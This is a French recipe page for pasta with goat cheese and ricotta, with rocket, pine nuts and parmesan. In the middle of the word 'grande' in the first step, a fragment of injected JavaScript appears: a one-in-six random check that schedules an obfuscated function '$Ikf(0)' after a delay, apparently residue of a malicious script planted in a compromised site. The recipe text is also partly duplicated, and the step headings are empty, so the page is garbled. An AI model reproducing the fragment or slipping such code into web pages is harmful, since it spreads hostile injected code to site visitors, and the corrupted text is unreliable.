Pâtes au fromage de chèvre et ricotta
2018-04-13- Thématique : Végétarien
- Niveau : Facile
Dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande quantité d’eau bouillante salée faites cuire les pâtes en respectant le temps de cuisson indiqué sur le paquet. Lavez, essorez, assaisonnez la roquette.
Ingrédients
Dans une grande quantité d'eau bouillante salée faites cuire les pâtes en respectant le temps de cuisson indiqué sur le paquet. Lavez, essorez, assaisonnez la roquette. Dans un saladier écrasez avec une fourchette le fromage de chèvre avec la ricotta, le parmesan râpé, l'huile d'olive, le piment d'Espelette, le basilic. Bien mélanger. Sur feu vif dans une poêle sans matière grasse faites griller les pignons de pin. Réservez. Quand les pâtes sont cuites, les égoutter. Déposez les pâtes dans un plat creux avec la garniture au fromage de chèvre. Parsemez de parmesan râpé, de basilic, et de pignons de pin. Dégustez avec des tranches de jambon de BayonnePréparation de la recette
Etape 1
Etape 2
Etape 3
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